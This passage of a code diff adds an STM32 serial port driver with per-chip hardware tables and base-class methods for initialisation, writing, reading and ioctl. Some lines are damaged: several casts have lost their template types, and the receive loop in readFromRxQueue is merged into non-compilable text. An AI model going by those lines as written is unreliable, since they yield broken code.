lpuart1AfSpans[]={{1,12,4},{1,13,2},{2,0,4},{2,10,2},{0,0,0}}; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {usart1AfSpans}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1_Channel2, DMA1_Channel2_3_IRQn, STM32SerialDMAHW::Channel2, 3, + DMA1_Channel5, DMA1_Channel4_5_6_7_IRQn, STM32SerialDMAHW::Channel5, 3 } }, + { USART2, USART2_IRQn, {usart2AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { 0 } }, // No DMA support yet because of merged IRQ channels + { LPUART1, LPUART1_IRQn, {lpuart1AfSpans}, true, STM32Bus::APB1, RCC_APB1ENR_LPUART1EN, + { DMA1_Channel2, DMA1_Channel2_3_IRQn, STM32SerialDMAHW::Channel2, 5, + DMA1_Channel6, DMA1_Channel4_5_6_7_IRQn, STM32SerialDMAHW::Channel6, 5 } }, +}; +#elif defined(STM32F030x6) || defined(STM32F030x8) +constexpr int maxPorts = 2; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {1}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { 0 } }, // No DMA support yet because of merged IRQ channels + { USART2, USART2_IRQn, {1}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { 0 } }, // No DMA support yet because of merged IRQ channels +}; +#elif defined(STM32F072xB) +constexpr int maxPorts = 4; +static const STM32SerialAltFunc::Span usart12AfSpans[]={{1,0,1},{0,0,0}}; +static const STM32SerialAltFunc::Span usart3AfSpans[]={{2,0,4},{3,8,1},{0,0,0}}; +static const STM32SerialAltFunc::Span usart4AfSpans[]={{2,0,4},{0,0,0}}; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {usart12AfSpans}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { 0 } }, // No DMA support yet because of merged IRQ channels + { USART2, USART2_IRQn, {usart12AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { 0 } }, // No DMA support yet because of merged IRQ channels + { USART3, USART3_4_IRQn, {usart3AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { 0 } }, // No DMA support yet because of merged IRQ channels + { USART4, USART3_4_IRQn, {usart4AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_USART4EN, + { 0 } }, // No DMA support yet because of merged IRQ channels +}; +#elif defined(STM32F303xC) +constexpr int maxPorts = 5; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5 } }, + { USART2, USART2_IRQn, {7}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6 } }, + { USART3, USART3_IRQn, {7}, false, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, + { UART4 , UART4_IRQn , {5}, false, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA2, STM32Bus::AHB, RCC_AHBENR_DMA2EN, + DMA2_Channel5, DMA2_Channel5_IRQn, STM32SerialDMAHW::Channel5, + DMA2_Channel3, DMA2_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, + { UART5 , UART5_IRQn , {5}, false, STM32Bus::APB1, RCC_APB1ENR_UART5EN, + { 0 } }, // UART5 is not connected to the DMA +}; +#elif defined(STM32F745xx) || defined(STM32F746xx) +constexpr int maxPorts = 8; +static const STM32SerialAltFunc::Span af7Spans[]={{0,0,7}}; +static const STM32SerialAltFunc::Span af8Spans[]={{0,0,8}}; +static const STM32SerialAltFunc::Span uart5AfSpans[]={{3,12,7},{0,0,8}}; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {af7Spans}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART2, USART2_IRQn, {af7Spans}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 4, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART3, USART3_IRQn, {af7Spans}, false, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 4, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 4 } }, + { UART4 , UART4_IRQn , {af8Spans}, false, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream4, DMA1_Stream4_IRQn, STM32SerialDMAHW::Stream4, 4, + DMA1_Stream2, DMA1_Stream2_IRQn, STM32SerialDMAHW::Stream2, 4 } }, + { UART5 , UART5_IRQn , {uart5AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_UART5EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream7, DMA1_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 4 } }, + { USART6, USART6_IRQn, {af8Spans}, false, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5 } }, + { UART7 , UART7_IRQn , {af8Spans}, false, STM32Bus::APB1, RCC_APB1ENR_UART7EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 5 } }, + { UART8 , UART8_IRQn , {af8Spans}, false, STM32Bus::APB1, RCC_APB1ENR_UART8EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 5, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5 } }, +}; +#elif defined(STM32F765xx) || defined(STM32F767xx) || defined(STM32F769xx) +static const STM32SerialAltFunc::Span af7Spans[]={{0,0,7}}; +static const STM32SerialAltFunc::Span af8Spans[]={{0,0,8}}; +static const STM32SerialAltFunc::Span uart1AfSpans[]={{1,14,7},{0,0,4}}; +static const STM32SerialAltFunc::Span uart4AfSpans[]={{0,11,8},{0,15,6},{0,0,8}}; +static const STM32SerialAltFunc::Span uart5AfSpans[]={{1,12,7},{2,8,8},{0,0,7}}; +constexpr int maxPorts = 8; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {uart1AfSpans}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART2, USART2_IRQn, {af7Spans}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 4, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART3, USART3_IRQn, {af7Spans}, false, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 4, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 4 } }, + { UART4 , UART4_IRQn , {uart4AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream4, DMA1_Stream4_IRQn, STM32SerialDMAHW::Stream4, 4, + DMA1_Stream2, DMA1_Stream2_IRQn, STM32SerialDMAHW::Stream2, 4 } }, + { UART5 , UART5_IRQn , {uart5AfSpans}, false, STM32Bus::APB1, RCC_APB1ENR_UART5EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream7, DMA1_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 4 } }, + { USART6, USART6_IRQn, {af8Spans}, false, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5 } }, + { UART7 , UART7_IRQn , {af8Spans}, false, STM32Bus::APB1, RCC_APB1ENR_UART7EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 5 } }, + { UART8 , UART8_IRQn , {af8Spans}, false, STM32Bus::APB1, RCC_APB1ENR_UART8EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 5, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5 } }, +}; +#elif defined(STM32L476xx) +constexpr int maxPorts = 6; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, 2, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5, 2 } }, + { USART2, USART2_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, 2, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6, 2 } }, + { USART3, USART3_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, 2, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3, 2 } }, + { UART4 , UART4_IRQn , {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART4EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Channel5, DMA2_Channel5_IRQn, STM32SerialDMAHW::Channel5, 2, + DMA2_Channel3, DMA2_Channel3_IRQn, STM32SerialDMAHW::Channel3, 2 } }, + { UART5 , UART5_IRQn , {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART5EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Channel1, DMA2_Channel1_IRQn, STM32SerialDMAHW::Channel1, 2, + DMA2_Channel2, DMA2_Channel2_IRQn, STM32SerialDMAHW::Channel2, 2 } }, + { LPUART1, LPUART1_IRQn, {8}, true, STM32Bus::APB1H, RCC_APB1ENR2_LPUART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Channel7, DMA2_Channel7_IRQn, STM32SerialDMAHW::Channel7, 4, + DMA2_Channel6, DMA2_Channel6_IRQn, STM32SerialDMAHW::Channel6, 4 } }, +}; +#elif defined(STM32L4R9xx) +constexpr int maxPorts = 6; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, {4, 25}, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5, {5, 24} } }, + { USART2, USART2_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, {7, 27}, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6, {6, 26} } }, + { USART3, USART3_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, {2, 29}, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3, {3, 28} } }, + { UART4 , UART4_IRQn , {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART4EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Channel5, DMA2_Channel5_IRQn, STM32SerialDMAHW::Channel5, {7+5, 31}, + DMA2_Channel3, DMA2_Channel3_IRQn, STM32SerialDMAHW::Channel3, {7+3, 30} } }, + { UART5 , UART5_IRQn , {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART5EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Channel1, DMA2_Channel1_IRQn, STM32SerialDMAHW::Channel1, {7+1, 33}, + DMA2_Channel2, DMA2_Channel2_IRQn, STM32SerialDMAHW::Channel2, {7+2, 32} } }, + { LPUART1, LPUART1_IRQn, {8}, true, STM32Bus::APB1H, RCC_APB1ENR2_LPUART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Channel7, DMA2_Channel7_IRQn, STM32SerialDMAHW::Channel7, {7+7, 35}, + DMA2_Channel6, DMA2_Channel6_IRQn, STM32SerialDMAHW::Channel6, {7+6, 34} } }, +}; +#elif defined(STM32H755xx) || defined(STM32H753xx) +static const STM32SerialAltFunc::Span af7Spans[]={{0,0,7}}; +static const STM32SerialAltFunc::Span af8Spans[]={{0,0,8}}; +static const STM32SerialAltFunc::Span uart1AfSpans[]={{1,14,7},{0,0,4}}; +static const STM32SerialAltFunc::Span uart4AfSpans[]={{0,11,8},{0,15,6},{0,0,8}}; +static const STM32SerialAltFunc::Span uart5AfSpans[]={{2,8,14},{0,0,8}}; +static const STM32SerialAltFunc::Span uart7AfSpans[]={{4,0,11},{0,0,7}}; +static const STM32SerialAltFunc::Span lpuart1AfSpans[]={{1,0,3},{0,0,8}}; +constexpr int maxPorts = 9; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {uart1AfSpans}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, {8+7, 42}, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, {8+5, 41} } }, + { USART2, USART2_IRQn, {af7Spans}, false, STM32Bus::APB1L, RCC_APB1LENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, {0+6, 44}, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, {0+5, 43} } }, + { USART3, USART3_IRQn, {af7Spans}, false, STM32Bus::APB1L, RCC_APB1LENR_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, {0+3, 46}, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, {0+1, 45} } }, + { UART4 , UART4_IRQn , {uart4AfSpans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART4EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream4, DMA1_Stream4_IRQn, STM32SerialDMAHW::Stream4, {0+4, 64}, + DMA1_Stream2, DMA1_Stream2_IRQn, STM32SerialDMAHW::Stream2, {0+2, 63} } }, + { UART5 , UART5_IRQn , {uart5AfSpans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART5EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream7, DMA1_Stream7_IRQn, STM32SerialDMAHW::Stream7, {0+7, 66}, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, {0+0, 65} } }, + { USART6, USART6_IRQn, {af7Spans}, false, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, {8+6, 72}, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, {8+1, 71} } }, + { UART7 , UART7_IRQn , {uart7AfSpans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART7EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, {0+1, 80}, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, {0+3, 79} } }, + { UART8 , UART8_IRQn , {af8Spans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART8EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, {0+0, 82}, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, {0+6, 81} } }, + { LPUART1, LPUART1_IRQn, {lpuart1AfSpans}, true, STM32Bus::APB4, RCC_APB4ENR_LPUART1EN, + { 0 } }, +}; +#elif defined(STM32H723xx) +static const STM32SerialAltFunc::Span af7Spans[]={{0,0,7}}; +static const STM32SerialAltFunc::Span af8Spans[]={{0,0,8}}; +static const STM32SerialAltFunc::Span af11Spans[]={{0,0,11}}; +static const STM32SerialAltFunc::Span uart1AfSpans[]={{1,14,7},{0,0,4}}; +static const STM32SerialAltFunc::Span uart4AfSpans[]={{0,11,8},{0,15,6},{0,0,8}}; +static const STM32SerialAltFunc::Span uart5AfSpans[]={{2,8,14},{0,0,8}}; +static const STM32SerialAltFunc::Span uart7AfSpans[]={{4,0,11},{0,0,7}}; +static const STM32SerialAltFunc::Span lpuart1AfSpans[]={{1,0,3},{0,0,8}}; +constexpr int maxPorts = 11; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {uart1AfSpans}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, {8+7, 42}, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, {8+5, 41} } }, + { USART2, USART2_IRQn, {af7Spans}, false, STM32Bus::APB1L, RCC_APB1LENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, {0+6, 44}, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, {0+5, 43} } }, + { USART3, USART3_IRQn, {af7Spans}, false, STM32Bus::APB1L, RCC_APB1LENR_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, {0+3, 46}, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, {0+1, 45} } }, + { UART4 , UART4_IRQn , {uart4AfSpans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART4EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream4, DMA1_Stream4_IRQn, STM32SerialDMAHW::Stream4, {0+4, 64}, + DMA1_Stream2, DMA1_Stream2_IRQn, STM32SerialDMAHW::Stream2, {0+2, 63} } }, + { UART5 , UART5_IRQn , {uart5AfSpans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART5EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream7, DMA1_Stream7_IRQn, STM32SerialDMAHW::Stream7, {0+7, 66}, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, {0+0, 65} } }, + { USART6, USART6_IRQn, {af7Spans}, false, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, {8+6, 72}, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, {8+1, 71} } }, + { UART7 , UART7_IRQn , {uart7AfSpans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART7EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, {0+1, 80}, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, {0+3, 79} } }, + { UART8 , UART8_IRQn , {af8Spans}, false, STM32Bus::APB1L, RCC_APB1LENR_UART8EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, {0+0, 82}, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, {0+6, 81} } }, + { UART9 , UART9_IRQn , {af11Spans}, false, STM32Bus::APB2, RCC_APB2ENR_UART9EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Stream0, DMA2_Stream0_IRQn, STM32SerialDMAHW::Stream0, {8+0, 117}, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, {8+1, 116} } }, + { USART10, USART10_IRQn, {af11Spans}, false, STM32Bus::APB2, RCC_APB2ENR_USART10EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA2_Stream0, DMA2_Stream0_IRQn, STM32SerialDMAHW::Stream0, {8+0, 119}, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, {8+1, 118} } }, + { LPUART1, LPUART1_IRQn, {lpuart1AfSpans}, true, STM32Bus::APB4, RCC_APB4ENR_LPUART1EN, + { 0 } }, +}; +#elif defined(STM32H503xx) +constexpr int maxPorts = 3; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + /*{ DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, {4, 25}, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5, {5, 24} }*/ }, + { USART2, USART2_IRQn, {7}, false, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + /*{ DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, {7, 27}, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6, {6, 26} }*/ }, + { USART3, USART3_IRQn, {7}, false, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + /*{ DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, {2, 29}, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3, {3, 28} }*/ }, +}; +#else +#error Unsupported STM32 chip for this serial driver +#endif + +// +// class STM32SerialBase +// + +// A note on the baudrate/500: the buffer is selected so as to withstand +// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. +// So (baudrate/10)*0.02=baudrate/500 +STM32SerialBase::STM32SerialBase(int id, int baudrate, bool flowControl) : + flowControl(flowControl), portId(id), rxQueue(rxQueueMin+baudrate/500) +{ + if(id<1 || id>maxPorts) errorHandler(Error::UNEXPECTED); + port=&ports[id-1]; + if(port->get()==nullptr) errorHandler(Error::UNEXPECTED); +} + +void STM32SerialBase::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + port->getAltFunc().set(tx); + port->getAltFunc().set(rx,true); //Pullup: prevent spurious rx if unconnected + if(flowControl) + { + port->getAltFunc().set(rts); + port->getAltFunc().set(cts); + } + port->setBaudRate(baudrate); + if(flowControl==false) port->get()->CR3 |= USART_CR3_ONEBIT; + else port->get()->CR3 |= USART_CR3_ONEBIT | USART_CR3_RTSE | USART_CR3_CTSE; +} + +void STM32SerialBase::IRQwrite(const char *str) +{ + while(*str) + { + while((port->get()->ISR & USART_ISR_TXE)==0) ; + port->get()->TDR=*str++; + } + waitSerialTxFifoEmpty(); +} + +inline void STM32SerialBase::waitSerialTxFifoEmpty() +{ + while((port->get()->ISR & USART_ISR_TC)==0) ; +} + +ssize_t STM32SerialBase::readFromRxQueue(void *buffer, size_t size) +{ + Lock l(rxMutex); + char *buf=reinterpret_cast(buffer); + size_t result=0; + FastGlobalIrqLock dLock; + DeepSleepLock dpLock; + for(;;) + { + //Try to get data from the queue + for(;result0) break; + if(result==size) break; + //Wait for data in the queue + rxWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rxWaiting); + } + return result; +} + +void STM32SerialBase::rxWakeup() +{ + if(rxWaiting) + { + rxWaiting->IRQwakeup(); + rxWaiting=nullptr; + } +} + +int STM32SerialBase::ioctl(int cmd, void* arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + waitSerialTxFifoEmpty(); + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8 | (flowControl ? CRTSCTS : 0); + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +// +// class STM32Serial +// + +STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx) + : STM32SerialBase(id,baudrate,false), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored +} + +STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) + : STM32SerialBase(id,baudrate,true), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,rts,cts); +} + +void STM32Serial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + GlobalIrqLock dLock; + port->IRQenable(); + IRQregisterIrq(dLock,port->getIRQn(),&STM32Serial::IRQhandleInterrupt,this); + STM32SerialBase::commonInit(id,baudrate,tx,rx,rts,cts); + //Enabled, 8 data bit, no parity, interrupt on character rx + port->get()->CR1 = USART_CR1_UE //Enable port + | USART_CR1_RXNEIE //Interrupt on data received + | USART_CR1_IDLEIE //Interrupt on idle line + | USART_CR1_TE //Transmission enbled + | USART_CR1_RE; //Reception enabled +} + +ssize_t STM32Serial::readBlock(void *buffer, size_t size, off_t where) +{ + return STM32SerialBase::readFromRxQueue(buffer, size); 